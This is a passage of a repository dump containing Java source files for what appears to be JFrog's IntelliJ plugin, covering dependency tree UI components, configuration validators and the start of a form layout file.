}\n\n    private void createNodePopupMenu(DependencyNode selectedNode, String descriptorPath) {\n        popupMenu.removeAll();\n        NavigationService navigationService = NavigationService.getInstance(project);\n        Set<NavigationTarget> navigationCandidates = navigationService.getNavigation(selectedNode);\n       //filtering candidates in case of multi module project\n        Set<NavigationTarget> filteredCandidates = navigationCandidates.stream()\n                .filter(navigationTarget ->\n                        descriptorPath.equals(navigationTarget.getElement()\n                                .getContainingFile()\n                                .getVirtualFile()\n                                .getPath()))\n                .collect(Collectors.toSet());\n\n        addNodeNavigation(filteredCandidates);\n    }\n\n    private void addNodeNavigation(Set<NavigationTarget> navigationCandidates) {\n        if (navigationCandidates == null) {\n            return;\n        }\n        if (navigationCandidates.size() > 1) {\n            addMultiNavigation(navigationCandidates);\n        } else {\n            addSingleNavigation(navigationCandidates.iterator().next());\n        }\n    }\n\n    private void addSingleNavigation(NavigationTarget navigationTarget) {\n        popupMenu.add(createNavigationMenuItem(navigationTarget, SHOW_IN_PROJECT_DESCRIPTOR + \" (\" + navigationTarget.getComponentName() + \")\"));\n    }\n\n    private void addMultiNavigation(Set<NavigationTarget> navigationCandidates) {\n        JMenu multiMenu = new JBMenu();\n        multiMenu.setText(SHOW_IN_PROJECT_DESCRIPTOR);\n        for (NavigationTarget navigationTarget : navigationCandidates) {\n            multiMenu.add(createNavigationMenuItem(navigationTarget, navigationTarget.getComponentName()));\n        }\n        popupMenu.add(multiMenu);\n    }\n\n    private JMenuItem createNavigationMenuItem(NavigationTarget navigationTarget, String headLine) {\n        return new JBMenuItem(new AbstractAction(headLine) {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (!(navigationTarget.getElement() instanceof Navigatable navigatable)) {\n                    return;\n                }\n                if (navigatable.canNavigate()) {\n                    navigatable.navigate(true);\n                }\n            }\n        });\n    }\n\n    public void cacheTree() throws IOException {\n        if (getModel() == null) {\n            cache.cacheNodes(new ArrayList<>());\n            return;\n        }\n        SortableChildrenTreeNode root = (SortableChildrenTreeNode) getModel().getRoot();\n        //noinspection unchecked\n        cache.cacheNodes((List<FileTreeNode>) (List<?>) Collections.list(root.children()));\n    }\n\n    public void deleteCachedTree() throws IOException {\n        cache.deleteScanCacheObject();\n    }\n\n    private void setNodesFromCache() {\n        ScanCacheObject cacheObject = cache.getScanCacheObject();\n        if (cacheObject == null) {\n            return;\n        }\n        List<FileTreeNode> treeNodes = cacheObject.getFileTreeNodes();\n        if (treeNodes == null) {\n            setNoIssuesEmptyText();\n            return;\n        }\n        SortableChildrenTreeNode root = new SortableChildrenTreeNode();\n        for (FileTreeNode node : treeNodes) {\n            root.add(node);\n        }\n        populateTree(root);\n\n        if (isCacheExpired()) {\n            // If cache is expired, display a gray tree and don't show inspections.\n            // The reason for not showing inspections is to avoid displaying outdated results in the package descriptor.\n            setCellRenderer(new ExpiredComponentsTreeCellRenderer());\n            return;\n        }\n        setCellRenderer(new ComponentsTreeCellRenderer());\n\n        // Run inspections after loaded cache\n        ScanManager.getInstance(project).runInspections(project);\n    }\n\n    public boolean isCacheEmpty() {\n        return cache.getScanCacheObject() == null;\n    }\n\n    public boolean isCacheExpired() {\n        return System.currentTimeMillis() - cache.getScanCacheObject().getScanTimestamp() >= EXPIRED_CACHE_TIME;\n    }\n\n    public Long lastScanTime() {\n        if (isCacheEmpty()) {\n            return null;\n        }\n        return cache.getScanCacheObject().getScanTimestamp();\n    }\n\n    /**\n     * Sets the empty text to \"Scanning...\".\n     * It means that this text will be shown only if the tree is empty.\n     */\n    public void setScanningEmptyText() {\n        SwingUtilities.invokeLater(() -> getEmptyText().setText(SCANNING));\n    }\n\n    /**\n     * Sets the empty text to indicate that the project was scanned and no issues were found.\n     * It means that this indication will be shown only if the tree is empty.\n     */\n    public void setNoIssuesEmptyText() {\n        SwingUtilities.invokeLater(() -> getEmptyText().setText(NO_ISSUES));\n    }\n\n    /**\n     * Sets the empty text to indicate that during the project scan an error occurred.\n     */\n    public void setScanErrorEmptyText() {\n        SwingUtilities.invokeLater(() -> getEmptyText().setText(ERROR_WHILE_SCANNING));\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/MoreInfoPanel.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.ui.components.JBLabel;\nimport com.intellij.util.ui.UIUtil;\nimport com.jfrog.ide.idea.ui.utils.ComponentUtils;\nimport org.apache.commons.lang3.StringUtils;\n\nimport javax.swing.*;\nimport java.awt.*;\n\nimport static com.jfrog.ide.idea.ui.utils.ComponentUtils.createJTextArea;\nimport static com.jfrog.ide.idea.ui.utils.ComponentUtils.replaceAndUpdateUI;\n\n/**\n * Represents the right \"More Info\" panel.\n *\n * @author yahavi\n */\npublic class MoreInfoPanel extends JPanel {\n    protected int lastTextPosition = 0;\n\n    public MoreInfoPanel() {\n        setLayout(new GridBagLayout());\n        setBackground(UIUtil.getTableBackground());\n    }\n\n    protected void addComponent(String header, JComponent component) {\n        JLabel headerLabel = createHeaderLabel(header + \":\");\n        GridBagConstraints gridBagConstraints = createGridBagConstraints();\n\n        add(headerLabel, gridBagConstraints);\n\n        gridBagConstraints.gridx = 1;\n        gridBagConstraints.weightx = 0.9;\n        add(component, gridBagConstraints);\n    }\n\n    protected void addText(String header, String text) {\n        if (StringUtils.isNotBlank(text)) {\n            addComponent(header, createJTextArea(text, true));\n        }\n    }\n\n    protected JLabel createHeaderLabel(String title) {\n        JLabel headerLabel = new JBLabel(title);\n        headerLabel.setOpaque(true);\n        headerLabel.setBackground(UIUtil.getTableBackground());\n        headerLabel.setBorder(BorderFactory.createEmptyBorder(0, 5, 0, 0));\n        return headerLabel;\n    }\n\n    protected GridBagConstraints createGridBagConstraints() {\n        GridBagConstraints gridBagConstraints = new GridBagConstraints();\n        gridBagConstraints.fill = GridBagConstraints.HORIZONTAL;\n        gridBagConstraints.anchor = GridBagConstraints.NORTHWEST;\n        gridBagConstraints.ipadx = 20;\n        gridBagConstraints.ipady = 3;\n        gridBagConstraints.gridy = lastTextPosition++;\n        return gridBagConstraints;\n    }\n\n    protected static void createComponentInfoNotAvailablePanel(JPanel panel) {\n        replaceAndUpdateUI(panel, ComponentUtils.createDisabledTextLabel(\"Component information is not available\"), BorderLayout.CENTER);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/components/ConnectionResultsGesture.java",
    "content": "package com.jfrog.ide.idea.ui.components;\n\n\nimport javax.swing.*;\nimport java.awt.event.MouseAdapter;\nimport java.awt.event.MouseEvent;\n\nimport static com.jfrog.ide.idea.ui.configuration.Utils.setActiveForegroundColor;\nimport static com.jfrog.ide.idea.ui.configuration.Utils.setInactiveForegroundColor;\nimport static org.apache.commons.lang3.StringUtils.isNotBlank;\n\n/**\n * Represents success and failure icons near the Xray and Artifactory URL.\n *\n * @author yahavi\n **/\npublic class ConnectionResultsGesture extends MouseAdapter {\n    private static final String SUCCESS_UNICODE = \"\\u2714\";\n    private static final String FAILURE_UNICODE = \"\\u2716\";\n\n    private final JLabel connectionResults;\n    private String message;\n\n    public ConnectionResultsGesture(JLabel connectionResults) {\n        this.connectionResults = connectionResults;\n    }\n\n    /**\n     * Set success icon.\n     */\n    public void setSuccess() {\n        setValue(\"Success\", SUCCESS_UNICODE);\n    }\n\n    /**\n     * Set failure icon.\n     *\n     * @param message - The message to show in the hover and in the popup window\n     */\n    public void setFailure(String message) {\n        setValue(message, FAILURE_UNICODE);\n    }\n\n    /**\n     * Set success/failure icon and show the relevant message when the user click/hover on the relevant icon.\n     *\n     * @param message     - The message to show\n     * @param unicodeIcon - Success/Failure icon\n     */\n    private void setValue(String message, String unicodeIcon) {\n        if (isNotBlank(this.message)) {\n            connectionResults.removeMouseListener(this);\n        }\n        this.message = message;\n        connectionResults.setText(unicodeIcon);\n        connectionResults.setBorder(BorderFactory.createRaisedSoftBevelBorder());\n        connectionResults.setToolTipText(message);\n        connectionResults.addMouseListener(this);\n    }\n\n    @Override\n    public void mouseClicked(MouseEvent e) {\n        JOptionPane.showMessageDialog(null, message);\n    }\n\n    @Override\n    public void mouseEntered(MouseEvent e) {\n        setInactiveForegroundColor(connectionResults);\n    }\n\n    @Override\n    public void mouseExited(MouseEvent e) {\n        setActiveForegroundColor(connectionResults);\n    }\n}\n\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/components/ImpactPathPane.java",
    "content": "package com.jfrog.ide.idea.ui.components;\n\nimport com.intellij.ui.components.JBLabel;\nimport com.intellij.util.ui.JBFont;\nimport com.intellij.util.ui.JBInsets;\nimport com.intellij.util.ui.JBUI;\nimport com.intellij.util.ui.UIUtil;\nimport com.jfrog.ide.idea.ui.utils.IconUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jfrog.build.extractor.scan.DependencyTree;\nimport org.jfrog.build.extractor.scan.Severity;\n\nimport javax.swing.*;\nimport javax.swing.border.Border;\nimport java.awt.*;\nimport java.util.Stack;\n\n/**\n * @author yahavi\n **/\npublic class ImpactPathPane extends JComponent {\n    public ImpactPathPane(DependencyTree impactedNode, Severity severity) {\n        setBackground(UIUtil.getTableBackground());\n        setLayout(new GridBagLayout());\n        add(Box.createRigidArea(new Dimension(0, 30)));\n        addContent(extractImpactedPath(impactedNode), severity);\n    }\n\n    /**\n     * Extract the impact path from the dependency tree into a stack.\n     *\n     * @param impactedNode - The impacted node\n     * @return the impact path.\n     */\n    private Stack<String> extractImpactedPath(DependencyTree impactedNode) {\n        Stack<String> rootImpactPath = new Stack<>();\n        for (DependencyTree node = impactedNode; node.getParent() != null && !node.isMetadata();\n             node = (DependencyTree) node.getParent()) {\n            rootImpactPath.add(node.toString());\n        }\n\n        return rootImpactPath;\n    }\n\n    /**\n     * Add the components to the impact path panel.\n     *\n     * @param impactPath - Impact path in reverse order\n     * @param severity   - The issue severity\n     */\n    private void addContent(Stack<String> impactPath, Severity severity) {\n        GridBagConstraints constraints = createConstraints();\n        Color borderColor = getBorderColor(severity);\n        while (!impactPath.isEmpty()) {\n            // Add component label\n            JLabel componentLabel = createComponentLabel(borderColor, impactPath.pop());\n            add(componentLabel, constraints);\n            constraints.gridy++;\n\n            if (impactPath.isEmpty()) {\n                // Set icon and emphasize the last element\n                componentLabel.setIcon(IconUtils.load(StringUtils.lowerCase(severity.name())));\n                componentLabel.setFont(JBFont.label().asBold());\n            } else {\n                // Add arrow label\n                JLabel arrowLabel = createArrowLabel(borderColor);\n                add(arrowLabel, constraints);\n                constraints.gridy++;\n            }\n        }\n    }\n\n    private GridBagConstraints createConstraints() {\n        GridBagConstraints constraints = new GridBagConstraints();\n        constraints.fill = GridBagConstraints.BOTH;\n        constraints.anchor = GridBagConstraints.CENTER;\n        constraints.insets = new JBInsets(0, 0, 0, 100);\n        constraints.gridx = 1;\n        constraints.gridy = 1;\n        return constraints;\n    }\n\n    private JLabel createArrowLabel(Color borderColor) {\n        JLabel arrowLabel = new JBLabel(\"⇣\");\n        arrowLabel.setFont(JBFont.label().biggerOn(5));\n        arrowLabel.setAlignmentX(Component.CENTER_ALIGNMENT);\n        arrowLabel.setHorizontalAlignment(SwingConstants.CENTER);\n        arrowLabel.setForeground(borderColor);\n        return arrowLabel;\n    }\n\n    private JLabel createComponentLabel(Color borderColor, String componentId) {\n        JLabel componentLabel = new JBLabel(componentId);\n        componentLabel.setAlignmentX(Component.CENTER_ALIGNMENT);\n        componentLabel.setHorizontalAlignment(SwingConstants.CENTER);\n        componentLabel.setFont(JBFont.label());\n        componentLabel.setBorder(new ImpactedComponentBorder(borderColor));\n        return componentLabel;\n    }\n\n    @SuppressWarnings(\"UseJBColor\")\n    private Color getBorderColor(Severity severity) {\n        switch (severity) {\n            case Critical:\n                return new Color(194, 17, 3);\n            case High:\n                return new Color(249, 126, 58);\n            case Medium:\n                return new Color(255, 195, 0);\n            case Low:\n                return new Color(211, 249, 167);\n            case Unknown:\n                return new Color(143, 139, 155);\n        }\n        return null;\n    }\n\n    /**\n     * Represents the rounded corners border around the components in the impacted path panel.\n     */\n    private static class ImpactedComponentBorder implements Border {\n        private static final int RADIUS = 20;\n        private final Color color;\n\n        private ImpactedComponentBorder(Color borderColor) {\n            this.color = borderColor;\n        }\n\n        @Override\n        public Insets getBorderInsets(Component c) {\n            return JBUI.insets(RADIUS + 1, RADIUS + 1, RADIUS + 2, RADIUS);\n        }\n\n        @Override\n        public boolean isBorderOpaque() {\n            return true;\n        }\n\n        @Override\n        public void paintBorder(Component c, Graphics g, int x, int y, int width, int height) {\n            g.setColor(color);\n            g.drawRoundRect(x, y, width - 1, height - 1, RADIUS, RADIUS);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/components/LinkButton.java",
    "content": "package com.jfrog.ide.idea.ui.components;\n\nimport com.intellij.icons.AllIcons;\nimport com.intellij.ide.BrowserUtil;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.wm.WindowManager;\nimport com.intellij.ui.components.JBLabel;\n\nimport java.awt.event.MouseAdapter;\nimport java.awt.event.MouseEvent;\nimport java.awt.event.MouseListener;\n\nimport static com.jfrog.ide.idea.ui.configuration.Utils.setActiveForegroundColor;\nimport static com.jfrog.ide.idea.ui.configuration.Utils.setInactiveForegroundColor;\nimport static org.apache.commons.lang3.StringUtils.isBlank;\n\n/**\n * @author yahavi\n **/\npublic class LinkButton extends JBLabel {\n    private MouseListener mouseListener;\n\n    public LinkButton(String tooltip) {\n        setToolTipText(tooltip);\n        setInactiveForegroundColor(this);\n    }\n\n    public void init(Project project, String text, String link) {\n        removeMouseListener(mouseListener);\n        if (isBlank(link)) {\n            setIcon(null);\n            setText(\"\");\n            return;\n        }\n        setIcon(AllIcons.Ide.External_link_arrow);\n        setText(text);\n        mouseListener = new BuildLogMouseAdapter(project, link);\n        addMouseListener(mouseListener);\n    }\n\n    private class BuildLogMouseAdapter extends MouseAdapter {\n        private final String link;\n        private final Project project;\n\n        private BuildLogMouseAdapter(Project project, String link) {\n            this.link = link;\n            this.project = project;\n        }\n\n        @Override\n        public void mouseClicked(MouseEvent e) {\n            BrowserUtil.browse(link);\n        }\n\n        @Override\n        public void mouseEntered(MouseEvent e) {\n            setActiveForegroundColor(LinkButton.this);\n            WindowManager.getInstance().getStatusBar(project).setInfo(link);\n        }\n\n        @Override\n        public void mouseExited(MouseEvent e) {\n            setInactiveForegroundColor(LinkButton.this);\n            WindowManager.getInstance().getStatusBar(project).setInfo(null);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/components/MenuButton.java",
    "content": "package com.jfrog.ide.idea.ui.components;\n\nimport com.intellij.icons.AllIcons;\nimport com.intellij.openapi.ui.JBPopupMenu;\nimport com.intellij.ui.ClickListener;\nimport com.intellij.ui.RoundedLineBorder;\nimport com.intellij.ui.components.JBLabel;\nimport com.intellij.util.ui.JBUI;\nimport com.intellij.util.ui.UIUtil;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\nimport javax.swing.border.Border;\nimport java.awt.event.FocusAdapter;\nimport java.awt.event.FocusEvent;\nimport java.awt.event.MouseAdapter;\nimport java.awt.event.MouseEvent;\n\nimport static com.jfrog.ide.idea.ui.configuration.Utils.setActiveForegroundColor;\nimport static com.jfrog.ide.idea.ui.configuration.Utils.setInactiveForegroundColor;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic class MenuButton extends JPanel {\n    private static final int GAP_BEFORE_ARROW = 3;\n    private static final int BORDER_SIZE = 2;\n    private JLabel myNameLabel;\n    private final JBPopupMenu filterMenu;\n    private boolean filterEnabled;\n\n    public MenuButton(JBPopupMenu filterMenu, String myName, String toolTip, Icon icon) {\n        this.filterMenu = filterMenu;\n        myNameLabel = new JBLabel(myName);\n        myNameLabel.setIcon(icon);\n        initUi(toolTip);\n    }\n\n    private void initUi(String toolTip) {\n        JLabel arrow = new JBLabel(AllIcons.General.ArrowDown);\n        setToolTipText(toolTip);\n        setInactiveForegroundColor(myNameLabel);\n        setBorder(createUnfocusedBorder());\n\n        setLayout(new BoxLayout(this, BoxLayout.X_AXIS));\n        add(myNameLabel);\n        add(Box.createHorizontalStrut(GAP_BEFORE_ARROW));\n        add(arrow);\n\n        revalidate();\n        repaint();\n        showPopupMenuOnClick();\n        indicateHovering();\n        indicateFocusing();\n    }\n\n    /**\n     * If one of the filters is applied (a checkbox is unselected), show this in the UI.\n     *\n     * @param filterEnabled - True if one of the filters is applied.\n     */\n    public void indicateFilterEnable(boolean filterEnabled) {\n        this.filterEnabled = filterEnabled;\n        if (filterEnabled) {\n            setActiveForegroundColor(myNameLabel);\n        } else {\n            setInactiveForegroundColor(myNameLabel);\n        }\n    }\n\n    /**\n     * Create popup actions available under this filter.\n     */\n    private void indicateFocusing() {\n        addFocusListener(new FocusAdapter() {\n            @Override\n            public void focusGained(@NotNull FocusEvent e) {\n                setBorder(createFocusedBorder());\n            }\n\n            @Override\n            public void focusLost(@NotNull FocusEvent e) {\n                setBorder(createUnfocusedBorder());\n            }\n        });\n    }\n\n    private void showPopupMenuOnClick() {\n        new ClickListener() {\n            @Override\n            public boolean onClick(@NotNull MouseEvent event, int clickCount) {\n                showPopupMenu();\n                return true;\n            }\n        }.installOn(myNameLabel);\n    }\n\n    private void indicateHovering() {\n        myNameLabel.addMouseListener(new MouseAdapter() {\n            @Override\n            public void mouseEntered(@NotNull MouseEvent e) {\n                if (!filterEnabled) {\n                    setActiveForegroundColor(myNameLabel);\n                }\n            }\n\n            @Override\n            public void mouseExited(@NotNull MouseEvent e) {\n                if (!filterEnabled) {\n                    setInactiveForegroundColor(myNameLabel);\n                }\n            }\n        });\n    }\n\n    private void showPopupMenu() {\n        filterMenu.show(this, myNameLabel.getBounds().x, myNameLabel.getBounds().y + myNameLabel.getBounds().height);\n    }\n\n    private static Border createFocusedBorder() {\n        return BorderFactory.createCompoundBorder(new RoundedLineBorder(UIUtil.getHeaderActiveColor(), 10, BORDER_SIZE), JBUI.Borders.empty(2));\n    }\n\n    private static Border createUnfocusedBorder() {\n        return BorderFactory.createCompoundBorder(BorderFactory.createEmptyBorder(BORDER_SIZE, BORDER_SIZE, BORDER_SIZE, BORDER_SIZE), JBUI.Borders.empty(2));\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/components/ReferencesPane.java",
    "content": "package com.jfrog.ide.idea.ui.components;\n\nimport com.intellij.ide.BrowserUtil;\nimport com.intellij.ui.HyperlinkLabel;\nimport com.intellij.util.ui.JBUI;\nimport com.intellij.util.ui.UIUtil;\nimport org.jdesktop.swingx.JXCollapsiblePane;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.util.List;\n\nimport static com.jfrog.ide.idea.utils.Utils.isValidUrl;\n\n/**\n * Represents the expandable references view at the issue details panel.\n *\n * @author yahavi\n **/\npublic class ReferencesPane extends JPanel {\n    private final JXCollapsiblePane references = new JXCollapsiblePane(JXCollapsiblePane.Direction.DOWN);\n\n    public ReferencesPane(List<String> references) {\n        super(new GridBagLayout());\n        GridBagConstraints constraints = createConstraints();\n        initButton(constraints);\n        constraints.gridy++;\n        initReferences(references, constraints);\n        setFocusable(false);\n        setBackground(UIUtil.getTableBackground());\n    }\n\n    /**\n     * Create the grid bag constraints for the button and the references panel.\n     *\n     * @return grid bag constraints.\n     */\n    private GridBagConstraints createConstraints() {\n        return new GridBagConstraints(0, 0, 1, 1, 1.0, 0.0,\n                GridBagConstraints.WEST, GridBagConstraints.NONE,\n                JBUI.insets(-5, 0, 0, -5), 0, 0);\n    }\n\n    /**\n     * Init the references panel according to the input list of references.\n     *\n     * @param references  - The references list\n     * @param constraints - The grib bag constraints\n     */\n    @SuppressWarnings(\"UnstableApiUsage\")\n    private void initReferences(List<String> references, GridBagConstraints constraints) {\n        this.references.setCollapsed(true);\n        for (String reference : references) {\n            if (!isValidUrl(reference)) {\n                continue;\n            }\n            HyperlinkLabel referenceLabel = new HyperlinkLabel();\n            referenceLabel.setTextWithHyperlink(\"<hyperlink>\" + reference + \"</hyperlink>\");\n            referenceLabel.addHyperlinkListener(e -> BrowserUtil.browse(reference));\n            this.references.add(referenceLabel);\n        }\n        add(this.references, constraints);\n    }\n\n    /**\n     * Init the collapse-expand button.\n     *\n     * @param constraints - The grib bag constraints\n     */\n    private void initButton(GridBagConstraints constraints) {\n        JButton collapseExpandButton = new JButton(references.getActionMap().get(JXCollapsiblePane.TOGGLE_ACTION));\n        collapseExpandButton.setText(\"Show/Hide References\");\n        collapseExpandButton.setBorderPainted(false);\n\n        Action toggleAction = references.getActionMap().get(JXCollapsiblePane.TOGGLE_ACTION);\n        toggleAction.putValue(JXCollapsiblePane.COLLAPSE_ICON, UIManager.getIcon(\"Tree.expandedIcon\"));\n        toggleAction.putValue(JXCollapsiblePane.EXPAND_ICON, UIManager.getIcon(\"Tree.collapsedIcon\"));\n\n        add(collapseExpandButton, constraints);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/components/TitledPane.java",
    "content": "package com.jfrog.ide.idea.ui.components;\n\nimport com.intellij.util.ui.UIUtil;\n\nimport javax.swing.*;\nimport java.awt.*;\n\n/**\n * Created by Yahav Itzhak on 13 Nov 2017.\n */\npublic class TitledPane extends JSplitPane {\n    private final int location;\n\n    /**\n     * JSplitPane with a constant splitter location.\n     * @param orientation JSplitPane.VERTICAL_SPLIT or JSplitPane.HORIZONTAL_SPLIT\n     * @param location the location of the splitter\n     * @param title the title\n     * @param content the content\n     */\n    public TitledPane(int orientation, int location, Component title, Component content) {\n        super(orientation);\n        this.location = location;\n        setTopComponent(title);\n        setBottomComponent(content);\n        setDividerLocation(location);\n        setBackground(UIUtil.getTableBackground());\n        setDividerSize(0);\n    }\n\n    @Override\n    public int getDividerLocation() {\n        return location ;\n    }\n\n    @Override\n    public int getLastDividerLocation() {\n        return location ;\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/configuration/BuildsVerifier.java",
    "content": "package com.jfrog.ide.idea.ui.configuration;\n\nimport javax.swing.*;\nimport java.nio.file.FileSystems;\nimport java.util.regex.PatternSyntaxException;\n\n/**\n * Input verifier for the \"Builds pattern\" field in the UI configuration.\n * This verifier make sure the input glob pattern is legal.\n *\n * @author yahavi\n **/\npublic class BuildsVerifier extends InputVerifier {\n    private final JTextField buildsPattern;\n\n    public BuildsVerifier(JTextField buildsPattern) {\n        this.buildsPattern = buildsPattern;\n    }\n\n    // For JDK < 9\n    @SuppressWarnings(\"deprecation\")\n    public boolean shouldYieldFocus(JComponent input) {\n        return shouldYieldFocus(input, null);\n    }\n\n    // For JDK >= 9\n    public boolean shouldYieldFocus(JComponent input, JComponent ignore) {\n        if (verify(input)) {\n            return true;\n        }\n        buildsPattern.setText(\"\");\n        return false;\n    }\n\n    @Override\n    public boolean verify(JComponent input) {\n        try {\n            FileSystems.getDefault().getPathMatcher(\"glob:\" + buildsPattern.getText());\n        } catch (PatternSyntaxException e) {\n            return false;\n        }\n        return true;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/configuration/ConfigVerificationUtils.java",
    "content": "package com.jfrog.ide.idea.ui.configuration;\n\nimport com.intellij.openapi.options.ConfigurationException;\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.apache.commons.lang3.StringUtils;\n\nimport java.nio.file.FileSystems;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\nimport java.util.regex.PatternSyntaxException;\n\nimport static org.apache.commons.lang3.StringUtils.*;\n\n/**\n * @author yahavi\n **/\npublic class ConfigVerificationUtils {\n    // Pattern: **/*{a, b, c ...}* OR **/*a*\n    public static final String EXCLUSIONS_PREFIX = \"**/*\";\n    public static final String EXCLUSIONS_SUFFIX = \"*\";\n    public static String EXCLUSIONS_REGEX_PARSER = \"^\\\\*\\\\*/\\\\*\\\\{([^{}]+)}\\\\*$\";\n    public static Pattern EXCLUSIONS_REGEX_PATTERN = Pattern.compile(EXCLUSIONS_REGEX_PARSER);\n    public static final String DEFAULT_EXCLUSIONS = EXCLUSIONS_PREFIX + \"{.git,.idea,test,node_modules}\" + EXCLUSIONS_SUFFIX;\n\n    /**\n     * Validate config project, watches and excluded paths before saving.\n     *\n     * @param policyType - The selected policy\n     * @param project    - JFrog platform project key\n     * @param watches    - Xray watches\n     * @throws ConfigurationException if a field in the configuration is illegal.\n     */\n    static void validateGlobalConfig(String excludedPaths, ServerConfig.PolicyType policyType, String project, String watches) throws ConfigurationException {\n        if (policyType == ServerConfig.PolicyType.PROJECT) {\n            validateProject(project);\n        }\n        if (illegalCharactersExist(project)) {\n            throw new ConfigurationException(\"Illegal characters in project key\");\n        }\n        if (policyType == ServerConfig.PolicyType.WATCHES) {\n            validateWatches(watches);\n        }\n        validateExcludedPaths(excludedPaths);\n    }\n\n    /**\n     * Validate excluded paths field before saving.\n     *\n     * @param excludedPaths users' input parameter\n     * @throws ConfigurationException if excludedPaths field in the configuration is illegal.\n     */\n    private static void validateExcludedPaths(String excludedPaths) throws ConfigurationException {\n        if (StringUtils.isNotBlank(excludedPaths)) {\n            if (!StringUtils.startsWith(excludedPaths, EXCLUSIONS_PREFIX)) {\n                throw new ConfigurationException(\"Excluded paths pattern must start with \" + EXCLUSIONS_PREFIX);\n            }\n            if (!StringUtils.endsWith(excludedPaths, EXCLUSIONS_SUFFIX)) {\n                throw new ConfigurationException(\"Excluded paths pattern must end with \" + EXCLUSIONS_SUFFIX);\n            }\n            try {\n                FileSystems.getDefault().getPathMatcher(\"glob:\" + excludedPaths);\n            } catch (PatternSyntaxException e) {\n                throw new ConfigurationException(ExceptionUtils.getRootCauseMessage(e), \"Excluded paths pattern must be a valid glob pattern\");\n            }\n            Matcher matcher = EXCLUSIONS_REGEX_PATTERN.matcher(excludedPaths);\n            if (!matcher.find()) {\n                if (excludedPaths.contains(\"{\")) {\n                    throw new ConfigurationException(\"Excluded paths pattern can contain at most one pair of {}\");\n                }\n            }\n        }\n    }\n\n    private static void validateProject(String project) throws ConfigurationException {\n        if (isBlank(project)) {\n            throw new ConfigurationException(\"Project key must be configured\");\n        }\n    }\n\n    private static void validateWatches(String watches) throws ConfigurationException {\n        if (isBlank(watches)) {\n            throw new ConfigurationException(\"Watches must be configured\");\n        }\n        if (startsWith(watches, \",\") || endsWith(watches, \",\")) {\n            throw new ConfigurationException(\"Watches list can't start or end with a delimiter\");\n        }\n        for (String part : split(watches, \",\")) {\n            if (isBlank(part)) {\n                throw new ConfigurationException(\"Watch can't be empty\");\n            }\n            if (illegalCharactersExist(part)) {\n                throw new ConfigurationException(\"Illegal characters in watch: \" + part);\n            }\n        }\n    }\n\n    private static boolean illegalCharactersExist(String str) {\n        return !str.matches(\"[\\\\w-.]*\");\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/configuration/ConnectionRetriesSpinner.java",
    "content": "package com.jfrog.ide.idea.ui.configuration;\n\nimport com.intellij.ide.ui.UINumericRange;\nimport com.intellij.ui.JBIntSpinner;\n\n/**\n * @author yahavi\n */\npublic class ConnectionRetriesSpinner extends JBIntSpinner {\n\n    public static final UINumericRange RANGE = new UINumericRange(3, 0, 9);\n\n    public ConnectionRetriesSpinner() {\n        super(RANGE);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/configuration/ConnectionTimeoutSpinner.java",
    "content": "package com.jfrog.ide.idea.ui.configuration;\n\nimport com.intellij.ide.ui.UINumericRange;\nimport com.intellij.ui.JBIntSpinner;\n\n/**\n * @author yahavi\n */\npublic class ConnectionTimeoutSpinner extends JBIntSpinner {\n\n    public static final UINumericRange RANGE = new UINumericRange(300, 10, 3600);\n\n    public ConnectionTimeoutSpinner() {\n        super(RANGE);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/configuration/JFrogGlobalConfiguration.form",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<form xmlns=\"http://www.intellij.com/uidesigner/form/\" version=\"1\" bind-to-class=\"com.jfrog.ide.idea.ui.configuration.JFrogGlobalConfiguration\">\n  <tabbedpane id=\"7b91a\">\n    <constraints>\n      <xy x=\"20\" y=\"170\" width=\"743\" height=\"576\"/>\n    </constraints>\n    <properties>\n      <autoscrolls value=\"false\"/>\n      <doubleBuffered value=\"true\"/>\n      <enabled value=\"true\"/>\n      <minimumSize width=\"0\" height=\"0\"/>\n      <opaque value=\"true\"/>\n      <preferredSize width=\"0\" height=\"0\"/>\n      <requestFocusEnabled value=\"false\"/>\n      <tabLayoutPolicy value=\"0\"/>\n      <tabPlacement value=\"1\"/>\n    </properties>\n    <border type=\"none\"/>\n    <children>\n      <grid id=\"b0c38\" binding=\"connectionDetails\" layout-manager=\"GridLayoutManager\" row-count=\"17\" column-count=\"4\" same-size-horizontally=\"false\" same-size-vertically=\"false\" hgap=\"-1\" vgap=\"-1\">\n        <margin top=\"0\" left=\"0\" bottom=\"0\" right=\"0\"/>\n        <constraints>\n          <tabbedpane title=\"Connection Details\"/>\n        </constraints>\n        <properties>\n          <doubleBuffered value=\"true\"/>\n          <minimumSize width=\"0\" height=\"0\"/>\n          <preferredSize width=\"0\" height=\"0\"/>\n        </properties>\n        <border type=\"none\"/>\n        <children>\n          <component id=\"3cd5d\" class=\"com.intellij.ui.TitledSeparator\">\n            <constraints>\n              <grid row=\"0\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Connection Type\"/>\n            </properties>\n          </component>\n          <component 